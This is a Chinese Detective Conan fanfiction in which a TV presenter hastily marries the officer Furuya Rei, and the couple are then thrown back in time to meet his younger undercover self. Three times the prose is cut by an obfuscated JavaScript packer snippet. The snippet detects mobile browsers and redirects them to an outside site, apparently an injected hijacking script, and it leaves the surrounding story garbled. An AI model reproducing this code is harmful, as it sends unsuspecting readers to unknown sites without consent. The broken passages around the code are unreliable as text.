《[名柯]总之闪婚绝非易事》 1. 婚活 迟到的男人真是太差劲了。 餐厅的女将又来询问了:“您的客人已经在路上了吗?” 莉亚尴尬地再一次拿起手机确认:嗯,没错,已经推迟了整整三十分钟,还没有任何人给她一个像样的解释。 恼火到想把手机砸到桌上,让屏幕像失信男人的天灵盖一样被敲出满满的冰裂纹。 但恐怕会变成当红主播相亲被拒后大发雷霆、怒砸怀石餐厅的都市传闻。那就真是太丢人了。 她咬着牙还是忍耐住了,勉强挤出一个微笑:“抱歉,可能出了一些意外……账单我照付,今天用餐取消吧。” 和最高长官的女儿相亲还能这样迟到,不出意外的话,对方大约就是出意外死在路上了吧。 “咣当——” 手机轻柔地落在手袋里,然而仍然传来了预想中的巨大噪音。 莉亚和女将一齐看去。唐纸拉门被人用力地拽开,发出了强烈的惨叫声。 粗暴而失礼的人扶着门框,深呼吸了几次才开口:“请问,这是法月小姐的席位吗?” 耀眼的金发紧紧地贴着肤色颇深的脸颊,但仍然倔强地翘出整齐的弧度,好像原本用发胶认真造型过,又不知为何被水打湿了。 水珠还在从发梢不断滚落,把烟灰色的西服套装洇湿了好大一片。 愤怒要走的女人又坐好了,比了比手势,“是我。您就是降谷先生吗?请坐……外面下雨了吗?” “失礼了。”他微微躬身,脱下外套递给女将,“啊,是的。实在抱歉,临时有个机动任务,虽然在时限内完成了,但只能从丸之内过来,遇上了交通拥堵。” “这个时间开车是很麻烦呢。”她微笑颔首,表示体贴地理解了事出有因。 ……个鬼啊。 既然是开车通勤,那从停车场过来只有五米。能被淋成这样,难道他开的是东京都旅游支持敞篷观光巴士吗? 她忍不住问出来了:“……那雨还真是挺大的。” “啊,”对方不以为意,“实在赶不及了,所以我把车停到樱田门,直接跑步过来了,没想到运气真的有点差。” 在心里悄悄估算了一下了距离……“诶?这么远,是跑步过来的?” 降谷君很普通地回答:“花了大约二十分钟?还好吧。” 普通步行怎么也要超过一小时啊,很难让人不肃然起敬。 果然是顶着这么明显的混血血统也能被那个老古板选中的精英……法月家所没有的强壮DNA过于耀眼了。 “这样啊,果然是精英警察呢。听我父亲说,那桩乌丸企业的大案就是您负责的吧?电视台里也一直在讨论呢……我还想或许这样的人才应该很有个性,不大会想参加古板的婚活呢。” 降谷先生好像没有听出来她对迟到非常不满的言下之意,只是垂着眼,“委员长过奖了,案件侦查是同僚们集体的努力。至于婚活么,我确实不怎么参加,但……” 终于有一丝笑容从他八风不动的严肃脸孔上浮了出来,“我个人是《Bristo》的长期观众。既然已经听说对方是法月主播,那就实在不能拒绝了。” 莉亚的笑容终于真诚了起来,“啊,非常感谢支持。虽然只是深夜档,但也是我第一次固定出演的节目呢……降谷君原来喜欢美食节目吗?” “以前完全不会料理,所以擅长烹饪的亲友推荐我看来学习,久而久之成了习惯了。节目里介绍的菜谱都很有特色,而且容易操作呢。” “这个啊。”女主播有一些羞赧,“能帮上忙真是太好了,但其实我反而至今都不太会做饭呢。毕竟电视台节目可以重复录制,还可以换个角度剪辑什么的……” 降谷君善解人意地点点头,“也是,媒体艺术嘛,总之都是真真假假。” 门又被敲响了,女将进来奉上了两道向付。降谷君颔首送她离去,这才拿起筷子,向莉亚示意,“喔,看起来是很不错的寒鰤——那么,我不客气了。” 一眼就可以看出来鱼的种类和品质吗?原来真的是少见的、擅长料理的男人。 吃东西的样子也很文雅帅气。虽然表情很少神色肃穆,但紫灰色的下垂眼圆滚滚的,莫名让她想起家教很好但对食物也很热忱的可爱大型犬。 ……那句很流行的台词是怎么说的?觉得男人像小狗一样可爱的话,就已经很危险了。 面对危险的莉亚理了理访问着的袖口,轻轻挪动膝盖,正襟危坐。 “嗯?法月小姐不喜欢寒鰤吗?”对方注意到她没有动,停下了筷子。 “啊,是想请教您严肃的话题——电视台的节目是真假难辨,那么参加上司介绍的相亲宴的人呢?都是抱着真诚的态度来对待的吗?” 降谷君愣了一下,也挺直腰背正坐,“如果不是这样的话,也太失礼了。” 很好。 她再次来回打量了一下面前的降谷君:金发混血、光明的前途、进退有度的行止、英俊的脸,还有…… 透过半湿衬衫露出的性感肌肉线条。从樱田门跑到麻布十番也只需要几个深呼吸就能恢复的上等货色。 想一想家里那个老头看到自己亲手选出来的女婿有挡不住的外国血统会是什么扭曲表情,就令人心情愉悦。 英俊能干的混血手下看着赏心悦目,但当女婿还是太超过了——不用动脑就知道那守旧刻板的老头期望的是家世清白、聪明听话、善于人情世故溜须拍马、长得不要太丑也不要太帅的恰到好处的传统日本婿养子,安安份份在手下听差,并且在合适的时间能乖顺接手家业的那种。 降谷君……怎么看都是个反义词。 太好了,还能有什么比这更好的丈夫吗? 但还有非常重要的一点要确认:“如果对方是无论如何都不愿意在结婚之后辞职当家庭主妇的女生呢?还是一样的态度吗?” “诶?”降谷似乎有点困惑,“有自己坚持的事业什么的……那不是理所当然的吗?法月小姐突然辞职的话,我作为观众也会感到困扰啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947675|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好极了,甚至还是《Bristo》的忠诚观众。 于是她坚定了决心,双手叠在桌案上,深深俯下身去,试图摆出最诚恳的姿态:“那么,我也是怀有同样的态度——” “这样啊,实在是感激不尽。” “所以拜托您和我结婚吧!” “好……诶?诶?竟然是结婚吗?” 金发公安紧抿的嘴微微张开了,像一条被扔在岸上、大口喘息的鱼,显得有点愚蠢,“我以为应该是先得到约法月小姐出去的许可,之后是表白、会见家长之类的流程?” “我直说了,这个名单上的每一位应该都被我父亲审查过了。六个手下公安配三个秘书,再捎上一个前华族什么的……我已经相看过不止一张名单,对他的审美有充分的了解了。所以现在很想跳过这些愚蠢的步骤。” 紫灰色的眼睛紧紧盯着她,目光锐利得惊人,“这么说,我本来也是个愚蠢的步骤?” “在您到之前是这样。不过现在么,”她扬起唇角,露出女主播饱经训练、无往不利的笑容,“我想已经是理想目的地了。决定踩油门的话就不需要再左顾右盼,您说呢?” 降谷零沉默了片刻,忽然看了看表,又看向法月莉亚,“现在是六点半,麻布地的区役所今天营业到七点,走过去应当只用十分钟……十五分钟。” 他看了看莉亚身上一丝不苟的水墨渐变访问着和服,改了个预估时间。 她微笑起来,向他缓缓伸出手,“那么拜托了,降谷君。” 他站起身,弯腰握住她的手。 法月莉亚的运气比降谷零好多了:出门的时候雨已经停了。她松了一口气,不需要提着下摆踩着木屐在雨里像电视剧女主角一样狂奔了。 降谷君果然把时间估计得很准。二十分钟后,他们就提交好了入籍申请。 莉亚捏着新出炉的结婚证明书,还是有点不可思议,“唔……你真的不需要向亲友报告吗?” “啊,已经没有需要特意征求意见的人了。”新出炉的丈夫也在检查手里的文书,无所谓地回答。 “那么叫那位给你推荐《Bristo》的朋友一起来庆祝如何?”她想了想,“这桩婚事,他也算是帮大忙了……吧?” “那位啊。”降谷君挑了挑眉,把证明书收了起来,“已经往生佛国了,估计在天上见证了吧。” 气氛僵住了。女主播也没法盘活这个气氛,局促地捏了捏手,“抱歉啊,降谷君……” 他反而笑了起来,“没有好好告知委员长就和他的千金匆忙入籍结婚了,我才是要抱歉的那一个吧——还要拜托你帮忙说情,让我不要这么早就往生佛国啊。” 说着,降谷露出了微妙的表情,“说起来,现在这里有两个人是‘降谷君’啊,莉亚小姐。” 形势完全掌握在敌人手里。在这样狡猾的策略下,她不得不改了称呼:“……零君。” 零君微微扬起了嘴角,架起手臂,任由新婚妻子挽了上来。 2. 婚宴 事实证明,降谷零君确实是个非常可靠能干的男人。 尽管就比陌生人多了几面之缘,但毕竟经过了国家公安委员长的严苛审查和当红女主播的直觉双重加持。 除了…… “零君!” 可恶啊色丁的长手套虽然美丽但用力的时候实在是打滑。 早知如此选婚宴服饰时就应该换成80目砂纸的。 新娘拼命拽住新郎的时候绝望地想。 他们尽可能多地把请帖撒了出去,从内政大臣到几乎想不起来名字的旧交。她试图尽量在开场前跟每一位都热情寒暄,结果庄重可靠的新婚丈夫露出了和往日截然不同的愤怒神情,活像被踩住尾巴抢走食物的恶犬,对着其中一位宾客龇起了牙:“赤井秀一,你怎么还没有滚出日本?已经被FBI开除了吗?” 这位有着墨绿色眼睛的宾客对阴阳怪气的挑衅视而不见,反而冲新娘举了举杯,“让您被迫见到了丈夫小孩子气的一面,真是我的过错。” “不要喝他敬的酒!”降谷零说着就把莉亚拉走了。 果然是小孩子气啊…… 女主播抱歉地冲着仍旧在遥遥祝酒的男人匆忙点了点头,转过来小声问:“你认识那位赤井先生?他是你什么人啊?” “很会给人添麻烦的前同事。”降谷零哼了一声,不情不愿地从鼻子里挤出来一个答案,“不知道他从哪里搞来的请帖。” 原来他是FBI啊……等等,日本警察会和FBI是同事吗?一起举着枪逼迫看碟片的人开门那种? 唔,好像确实没有问过丈夫的具体工作内容……只知道他是优秀的顶级警察精英。 把他带回家的那一天,家里那位统领十八路日本警察的老头子果然因为她的选择动摇了半天,但最终还是点了头,“就算不跟你结婚,降谷也能成为日本有史以来最年轻的警视正。” 这么能干,那他日常应该不是查非法录影带的吧……哈哈。 莉亚并不太感兴趣,但很快就获得了解自己丈夫工作内容的机会:国家公安委员会的最高长官把女儿的手交给新郎的那一瞬间,会场里响起了纷乱而嘹亮的警报声。台下有接近一半的宾客,身上的通讯设备都亮起了灼人红光。 委员长和新娘一齐看向了动作明显僵住的新郎。他一边飞速把警报声按掉,一边对莉亚小声解释:“抱歉……看这样子,应该是最高警报级别的机动任务。” 她侧过头问:“……就连今天也需要你去支援吗?” 新郎绷着脸,干巴巴地回答:“我请了普通的事务假,但在这种情况下,理论上应该是现场调度负责人。” 这个时候,好妻子应该怎么回答? 婚礼现场拉响警报,内容太超过了,想要应对自如的话,恐怕新娘学校没法提供帮助,应该转投警察学校接受高级警官支援者的培训。 女主播的本能驱使她问:“什么情况算最高级别?” “通俗地说,有人开飞机撞击东京塔、武装力量包围皇居、在环状线上装了大当量□□……之类的吧。” 这些情景……很通俗吗?哪里不对吧? 这个程度,感觉她邀请来的另一半宾客也要蠢蠢欲动上一线,去赶紧撰写马上要用的插播新闻了。 她叹了口气:“那你快问。” 紫灰色下垂眼里透出不解。 和善地给出提示:“你愿意嫁给我吗?” 金色的脑袋上下点了点,“我愿意。” “你愿意什么,问我啊!”婚纱的厚重裙摆可以遮盖一切行动,所以莉亚不客气地当众直接踢了他一脚,“算了……戒指给我!” 手忙脚乱的新郎刚掏出钻戒,就被新娘捉住了左手,不容拒绝地也给他戴上了婚戒,然后被推了一把,“交换好了,你快去啊!” 于是莉亚得到了一个急匆匆的吻,失去了新郎和跟在新郎身后一齐忙着给枪上膛的十几名宾客。 ……很难说是不是一笔划算的账。 好吧,至少招待宾客变得容易多了。她提前两个小时就和所有来宾告别,躺到了会场楼上的豪华套房里。 不用和其实还很陌生的新婚丈夫尴尬地面面相觑,疲惫的身躯可以自由霸占整张床铺,这也许是另一桩好事。她在迷朦间这么想。 另一半床铺的拥有者直到深夜才风尘仆仆地回来,身上的燕尾礼服已经换成了鼠灰色的制服。 房间里被仔细地装点过,每个角落都撒着玫瑰花瓣。毛巾成对成对的摆放着,还被折成了交颈天鹅的形状。开门的气流带动了香薰的烛火齐齐跳跃,流淌起糖果融化般的甜味,让他想起波洛除了蛋白偶尔打发效果不好之外没有任何烦恼的后厨。 他无声地合上门,悄悄走了进去。 落地窗边的沙发上堆着层层叠叠的刺绣婚纱,雪崩似的散落下来,米珠在夜灯之下像跳跃着的星光。婚纱的主人终于被吵醒了,从被子里探头出来,好像没太明白情况,“……你怎么在这?” 被妻子完全忘记了。 对婚礼上匆匆离开的工作狂的一记绝杀。 金发的青年沉默了片刻,举起手里的袋子,“我来送宵夜。晚上吃了吗?” 肠鸣声回答了一切。 ……于是变成现在这样了,两个人坐在婚床上一起吃公安的工作餐。 莉亚用筷子戳着米饭,慢吞吞地说:“诶,我还是觉得有点奇怪……你有什么头绪吗?” 降谷零:“防止你忘了,提醒一下,我今天也是第一次结婚,结婚时间恰好和你一样长呢。” 她干笑起来:“哦,那……再接再厉,越办越好。” 他沉默了一会儿,忽然笑了:“不过,我大致有个猜想,要试试看吗?” 新婚妻子仰着脸看他,充满疑惑,脸上还带着一点点困顿的红晕,“?那好吧。” 降谷零把她手里的便当盒抽走了。 “可我还没吃完……唔!” 再缺乏经验的成年男性,也知道缺少的是哪一块拼图。 金发的公安精英迅速启动,用嘴唇堵住了喋喋不休的嘴。呼出的鼻息也热腾腾地交缠到了一起。 女人近在咫尺的碧蓝色眼睛变得瞳孔微微扩大。 “我说,”他稍微拉开一点距离,笑出声了,“好歹要闭上眼睛吧?” 好像是这样的。电影也好、漫画也好,这一幕没有两个人是睁着眼睛的。 ……距离那么近,应该会变成斗鸡眼吧。 她听从了建议,又回忆了一下电影里的下一帧,把手臂环上他的脖颈。 交叠的手掌无处安放,只好搂着他的后脑,顺便摸了一把金毛。意料之外,软软的,很像小动物的绒毛,和本人一贯刚硬严肃的形象非常不一样。 胡思乱想的时候,金发男人忽然松开了手,在她肩上轻轻一用力,莉亚就又倒回了蓬松的被子里。降谷零单膝跪在床沿上,露出捕猎蓄势待发的危险眼神。 他缓缓向前探身,挡住了大部分光源,让阴影渐渐蚕食了莉亚。只有那双紫灰色的眼睛在暗中明亮得吓人。 “怎么说,新婚夜都不能少这个吧,莉亚小姐?” 她想了想,缓缓抬起手,单手扯散了他的领带。 “好像是呢。” 这像是一个了不得的信号。 于是猛兽被放出牢笼了。 吻像骤雨掠地般从额头蔓延到锁骨,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947676|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然停止了。降谷零抿紧嘴,开始像拆弹一样认真地对付起她的衣扣。 只是拆弹专家得逞的同时,他腰间的通讯设备又响了。 降谷零不耐烦地按了接听键,“风见,你最好有了不得的大事跟我汇报,不然你就完蛋了。” 莉亚听不清对方的回答,只依稀捕捉到“逃跑”“琴酒”这样的词语,接着就看到降谷零的脸色越来越差,最后恶狠狠地摔了通讯器。 “发生了什么?” “没什么,工作上的一点后续。”他不愿意透露详细信息。沉默了片刻,降谷零最终长长吐了一口气,垂着眼睛有点可怜,小心翼翼地试探:“抱歉,莉亚,我……” “降谷零,我现在开始怀疑了。”搂着他脖颈的手缓缓向下滑,转而一把揪住了散开的衬衫衣领,“你是不想政治联姻,所以串通了人来搅局是吧?” “这绝无可能。” “不是有那种电视剧剧情吗,火九剧场很常见的,有不能在一起的心爱恋人所以才……也有可能是医疗剧的剧情,无法治愈的心理阴影……啊,还有生理障碍什么的。” 他系扣子的手僵住了。 “啊?不会说中了吧?”女主播松开手,犹疑地问。 脸颊立刻被降谷零狠狠捏了两把。他起身整了整衣服,捡起落在地上的西装外套甩到肩头,咬牙切齿:“那你等会儿亲自检查一下不就知道了。” 说完大步流星急匆匆地离开了。 一天之内被丈夫丢下两次,恰巧还是新婚披露仪式的日子。不能直接用头纱闷死他,还要等这该死的家伙回来,这才绝无可能吧! 恼怒的女主播把新娘课程教授的内容全都忘了,直接抄起枕头,恶狠狠地朝着丈夫的背影丢了过去,“还检查什么?晚期!你死定了!” 然后一头扎进了自己的被窝里。 这次她睡得昏昏沉沉,一直都半梦半醒、似睡非睡。直到门再一次被推开,传来响动。 有房卡的再没有其他人了。这次很迅速啊。看来是真的急于证明自己没病。 这是个具有战略意义的时刻。台里结婚的前辈们偷偷教她,教男人好比训狗,一定要在刚开始就立好规矩,让他清楚知道对错和奖惩,否则之后很难扭转的。 虽然是为了保护全体国民的重要工作,但不管怎么说,一定要意识到抛下妻子是需要好好认错求饶的吧? 她一动不动,仍然把自己埋在被子里,等待降谷零先来道歉。 被子果然立刻被掀开了。 莉亚睁开眼,但突如其来的光照猛烈得让人眩晕。 眼睛立刻流出保护性的泪水。朦胧之间,额头上突然传来奇怪的触感——哦,不是之前暖烘烘、湿漉漉的纷杂的吻。 是冰凉而坚硬的质地。 一个熟悉的声音阴恻恻地响了起来: “晚上好,小姐,你是怎么进来的?” 莉亚想抬手擦干眼泪,但刚一动作就被对方牢牢制住了手脚。她只好努力眨了眨眼,发现降谷零正似笑非笑、居高临下地俯视她。 ……他怎么又换了一套衣服?黑色修身马甲配短袖白衬衫白手套,打扮得像个酒保。 “……降谷零,你这是在玩什么花样?” 金发青年突然绷紧了脸,眯紧的紫灰色眼睛在背光的阴影里闪烁着充满压迫感的寒意。 冰冷的触感从额头立刻挪到了眉心。 莉亚这才意识到抵着她的是一柄枪。 她终于有些慌乱了:“……零君?” 对方皱了皱眉,“我不明白你在说什么,这位小姐。是走错了吗?总之自我介绍一下——我叫安室透。” “……哈?” 3. 意外 莉亚完全在情况之外了。 安室透……那是什么啊? 他给自己搞了个那种两个人就能拍的片子里会猥琐地说“太太你也不想让人知道吧”这种台词的角色设定吗? 原来降谷零是不知道怎么开口道歉就搞奇怪角色扮演来活跃气氛的性格吗? 有点想发脾气骂他。但是毕竟是新婚的第一天,吵架是非常不吉的开端吧。她犹豫地攥紧被子,试探配合道:“这种事情……不要啊?” 对方的神色变得更加古怪了,像被人在嘴里塞了一只青蛙。 她彻底失去了扮演不扫兴的温柔妻子的兴趣,扔开被角,“降谷君,你到底在搞什么?不是带着警官们去追捕……”她努力回忆了一下之前听到的那个词,“琴酒了吗?是这个名字吧?是不顺利吗?” 他的瞳孔急剧地缩小了,用力推了推顶住她的枪口,“你在说什么鬼话!你到底是谁,谁派你来的?” 新娘是谁派来的,这个问题好像很有哲学。理性派或许该说是出于新人自己的意愿,但是按照婚礼和他们认识的流程讲,也可以说是新娘的父亲。 希望上司的名字可以阻止他神秘的癖好。她干巴巴地回答:“法月清张派我来的,记得吧,就是那位国家公安委员会的委员长。至于我么,昨天为止还叫法月莉亚。今天开始本来应该改姓降谷,但你要非得说你叫安室透的话……” 她皱了皱眉,“那我应该叫什么?安室莉亚?好怪,听起来好像安室奈美惠的妹妹哦……” 他恶狠狠地瞪着她,正要继续逼问,忽然门廊处诡异地传来了另一个人的声音:“抱歉,我没有那么多时间看戏,谁能给我解释一下现在的情况?” 对峙的两个人一起僵住了,缓缓循声回头看去: 门廊有一个身姿窈窕的金发女子,正倚靠着墙壁站立,脸上挂着高深莫测的笑容。两个人有着相似的发色,那女人看起来也很眼熟。 有一些很糟糕的猜想进入了脑海。她挑了个最正常的,小声问降谷零:“这是你亲戚吗?” 降谷零身体僵硬,没有能给出答案,但是对面的女子显然听见了,笑了起来:“是哦,所以听到了陌生的名字很意外呢。能拜托你解释一下,谁是降谷零吗?” 他张了张口,正要说话,那女人的笑容立刻消失了,抬手用枪指了过来,冷冰冰地盯着他,“闭嘴,让她来说——你要动一下,我就开枪。” 她终于发觉了气氛的异样。 真的有人会不知道降谷零是谁吗?名字就写在楼下的迎宾展板上,甚至还穿了警察的礼服,那张脸之前在各个电视台的热播新闻里滚动放了好几天…… 啊! 灵光一闪,她终于想起来了在哪里见过这个女人。 “你是克里丝.温亚德!那个乌丸组织的干部!” 是电视台起底国际影星的纪录片,和她贴满了东京街头的通缉令。 四道几欲噬人的目光一起射了过来。她清楚地看到克里丝微微调整了一下弹道,把黑洞洞的枪口对准了她。 她立刻捂住了嘴,但是为时已晚。 枪响了。 “趴下!”降谷零忽然暴喝,用力推了她一把,自己倏地一滚,翻到了床的另一侧,靠在墙边开枪还击。 莉亚被推得从床上摔下来,额头撞到了床头柜的边缘,磕得眼冒金星。她趴在地上,视力还没有恢复过来,就被那女人从后面捉住了领口。她用膝盖狠狠顶着莉亚的后腰,整个人伏在莉亚身上,压得她几乎喘不过来气。 领口被人勒紧了,缎带成了绞绳。空气逐渐变得稀薄。耳边说话的声音仿佛是从外太空传来的: “法月家的小姐,是吧?原来你们都是公安的狗啊……本来应该问问你怎么跑来了这里,但是我赶时间,到此为止了。希望你下次运气好一些吧。” 后脑又传来了那阵冰凉而坚硬的触感。 喉咙像被乌苏拉偷走了。她惊恐地想尖叫,但发不出来一点声音,只能对着地毯上的万字不到头花纹无声地哀鸣。 枪又响了。 好烫。 疼。 ……疼痛好像逐渐消失了。 她感到一阵昏昏沉沉,仿佛处在半梦半醒、似睡非睡之间,难以挣脱。 一声响动传来,好像是门被人推开了。突然周围突然亮了起来。她感到身上一凉,接着明显听到有人倒吸了一声冷气,随后额头上立刻传来冰冷而坚硬的奇怪触感。 她听到一个熟悉的声音问:“晚上好,小姐,你是怎么进来的?” 莉亚这才能睁开眼。 面前的金发青年正用枪抵着她,身上黑色修身马甲和短袖白衬衫,打扮得像个酒保。 不知道应该叫他降谷零还是安室透,或者什么其他的可笑名字。总之,几个小时以前,就是面前的这个男人刚刚与她交换了戒指和吻。 她盯着那双紫灰色的眼睛,缓缓举起双手,“我想我可以解释,但是能不能先告诉我,这房间里是只有我们两个人吗?” 他却反而放下枪,若有所思地看着她。 没有被拒绝,莉亚就挣扎着坐起来,一边维持这个投降的姿势,一边探头去看门廊:运气很好,这一次并没有国际影星出身的罪犯……啊,或者说罪犯出身的国际影星站在这里看他们吵嘴了。 还是不太令人放心。她跳下床,顶着背后灼灼的目光和可能同样灼灼的枪口,赤着脚跑到门廊,贴着猫眼观察了一会儿,又把卫生间、衣帽间和储藏间的门都打开检查了一遍。 降谷零扶着额头,“……可以了,贝尔摩德不会藏在装浴袍的抽屉里。” “谁知道,万一呢。”莉亚合上抽屉,回过头问,“贝尔摩德是谁?” “就是克里丝.温亚德。你知道这个人,不是么?” 她沉默了一会儿,“就算之前不知道,她当头给了我一枪,我也认识她了啊——哦,不光是我,看到我墓志铭的人应该都认识她了。” 等等,为什么会想到墓志铭? 莉亚这才意识到不对,犹疑地摸了摸后脑。 没有血淋淋的伤口,甚至连明确感受到的灼伤都没有,发弯每个卷还都很精巧。 “所以……是你救了我?” 一直绷着脸的降谷零忽然发出了一声短促的笑声:“你果然也有那段记忆。我推开了你,但是贝尔摩德立刻又捉住了你。但我不太明白——为什么在你中枪以后,我突然又出现在了米花大饭店的停车场。” 他紧紧盯着莉亚,“多奇怪,不是吗?这本来应该是半个小时前发生的事情,即便是贝尔摩德或者谁把我迷晕又搬了下去,也需要花些时间善后。但我立刻检查了,发现居然还是我刚刚到达这个停车场的时间……好像有人偷走了一个小时啊。你知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947677|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道这是怎么回事吗?” 她像缺氧的鱼一样无声地张了张口,半天才憋出来一个回答:“我有一个猜测,但我觉得你可能不信。” “你不说我又怎么知道呢?”降谷零假笑着回答,看起来更像准备骗人开高价香槟的黑心酒保了,“难道说,我们之前很熟悉吗?” 把精明狡猾写在脸上的男人果然很讨厌,叫得令人心烦。她面无表情:“就还好吧。只是当着你所有领导同事和几位内阁大臣的面交换过戒指而已,也没什么的。” 他好像没有被这个答案震惊到,单手摸着下巴,一脸玩味,“你的意思是说……” “我不知道因为什么,但很显然,如果不是你疯了然后又把我传染了,那就是出现了电影一样的剧情——你应该看过吧,《穿越时空的少女》什么的。” 说着她走到桌边,从布置中挑出一个A4尺寸的水晶相框,拿回给了降谷零。 他犹豫了一下,还是接了过来。 相框里只有一张纸,但是每行字信息量都很大,而且很难说哪个信息更惊人: 标题是婚姻届受理证明书。注明丈夫姓名的一栏下面写着熟悉而久未使用过的那三个字。而“妻”的姓氏则是法月,和国家公安委员会的新任委员长的姓氏一样。 降谷零彻底捂住了脸。 到对方发言的轮次了:“那么,换成我问了——到底发生了什么?现在是什么时间?你到底是谁?” 不能说。 不能回答。 卧底训练的经验告诉他,这是一个为他编制的、很大的圈套。不然为什么组织特意要他今天到米花大饭店的这个房间踩点,为什么负责监视督导他的贝尔摩德刚刚这么容易就被他打发走了——她之前明明是选择跟着进了房间的。 但看到的一切都没有办法有一个科学的解释…… 当着他的面被一枪爆头的女人居然还活蹦乱跳地讲冷笑话,所有设备的时间都暗示刚刚的枪战是他须臾之间的妄想,还有直接写破的真名——如果组织真的获得了这样的信息,大可以直接派人来杀死他了,不需要费这样的周章。 紫灰色的双眼从手掌里挪了出来,直直地盯着她:“如果真的是你猜测的那样,而你真的认识我的话……答案很简单。我今年二十四岁。” 啊。 轮到莉亚捂住脸了。 指缝里传来她闷闷的声音:“我在二十八岁的一天,嫁给了降谷零警视。但入籍的时候,我记得我丈夫填写的年龄是三十岁……没错,我记得非常清楚,还没有到下一个生日,是三十岁整。” 她学着降谷零的样子,也向下挪了挪手掌,露出眼睛,“不管怎么说,我可不太喜欢年下啊……你能不能把之前那个版本的还给我?” 降谷零沉默地看着她。 好怪的话。 莫名其妙出现的女人,随便地自称是法月长官的女儿,现在这种危急关头还在讲冷笑话。 他应该敏锐地揭穿她的真实身份,然后捉拿归案,把手铐戴在她手腕上的同时顺便反唇相讥,将她的冷笑话驳回去。 ……但是怎么看好像都没有办法。 匪夷所思的发展,但目前为止都没看出来哪里有破绽,好像还是唯一合理的解释——先是她,接着是他们,都莫名其妙地穿越时空了。 而且他真的喜欢年上。 靠。 4. 扭送 两个人相对无言了好一阵,忽然降谷零开口了:“现在不管怎么说,可以肯定的是你单方面获得了我的信息——但你的身份可不一定是真的吧?” 莉亚被噎了一下,指了指他的手机,“你不能搜一下吗?我都把我的名字告诉你了,直接去日卖的网站……” 抱怨忽然卡住了。 对方抓住了重点:“日卖台?” “是啊,我是日卖台的主播。不过那是从……明年开始。现在应该找不到的。”她耸了耸肩,“你搜搜我家老头的名字看吧,万一有我的信息呢。” 降谷零垂首在手机上按了几下,不到一分钟就重新抬头死盯着她,无言地表示了否定。 “但你们总有自己的手段吧,他不是你们领导吗?直接拿我的照片去问问,或者做个DNA检测什么的,很容易吧。” “这个嘛……”他不置可否,“其实我觉得还有更直接也更保险的处理办法。” 降谷零偏着头看了过来。莉亚这才注意到,二十四岁的降谷零看人的方式也不一样。 她更为了解的那位成熟的零君一举一动就像教材里的警察,锐利而方正。如果有人挑明他的职业,不明就里的人一定会点头说果然如此啊! 二十四岁的零君却喜欢微微收紧下颏,因此是从下方斜睨着她,有一种捉摸不定的阴险。 她几乎感到毛骨悚然,“你要做什么?” “也没有什么,直接把你送回家去,不是可以当面和你家人确定吗?你也能得到更好的保护吧。” 这样说也没错,毕竟她也对那个金发女人心有余悸。家里规矩多气氛又沉闷,但是安保肯定是没问题的。 “那好像也可以……”莉亚突然几乎跳了起来,“绝对不行!” 糟糕。她只记得算降谷零的年纪差,暗暗琢磨这家伙到底是怎么立下查获国际罪犯组织的大功劳的,差点忘了她六年前在做什么。 ——当时大学刚毕业的法月莉亚在离家出走。 虽然以失败告终,但是好歹以一种决绝的姿态在外面盘桓了大半年,这才让老头子不得不作出让步,最终放她出来工作。 如果就这样轻易被送回家……恐怕她明天就要重新开始流水一样的婚活,下个月就能披上白无垢嫁入某个前华族家庭了。 不,降谷零,你不想把老婆送回娘家去改嫁。 莉亚有点难控制住自己的表情,干咽了一口空气,试图劝阻:“我不想接受那种密不透风的保护啦……应该有更好的方式吧?” 对方似乎终于捉到了她的弱点,把双臂抱在胸前,挑眉诘问:“你可是卷入了犯罪分子的活动啊。你应该清楚我刚刚为什么冒着暴露的风险也想要救你吧?虽然没有确定身份,但如果真的是法月长官的女儿,作为下属没有保护得当,有点糟糕啊。” “不应该是为了保护每一位无辜的日本国民而努力工作吗?”她不赞同地啧了一声,“原来是想讨好上司啊……我都开始怀疑你当时为什么要跟我结婚了。” 并没有这段记忆的人不为所动,仍旧抱着臂,“哈?你又不一定是清白日本国民吧,兴许是罪犯的协力者。” 他冷漠地审视着突然失态的莉亚——她在努力用笑话把话题岔开。 要求女儿去见亲生父亲,这很过分吗?拒绝的背后一定有什么原因:或许是他们买通了法月长官周围的秘书,也可能已经造假了基因检测报告。 总之应该都是比较有操作空间的可行手段。 降谷零眯起眼睛:“不管怎么说,都这么晚了,我总要把你送到哪里去过夜的吧。没想到法月小姐对回实家这么抗拒,或许可以分享一下其中的原因吗?” 被野兽盯上一样的感觉。莉亚硬着头皮回答:“我觉得你不会想知道啦……一些家族恩怨什么的。” “不,”降谷忽然亲切地笑了起来,“小姐不是我未来的妻子吗?所有事情我都很想了解的。” 好吧。这可是你的要求。 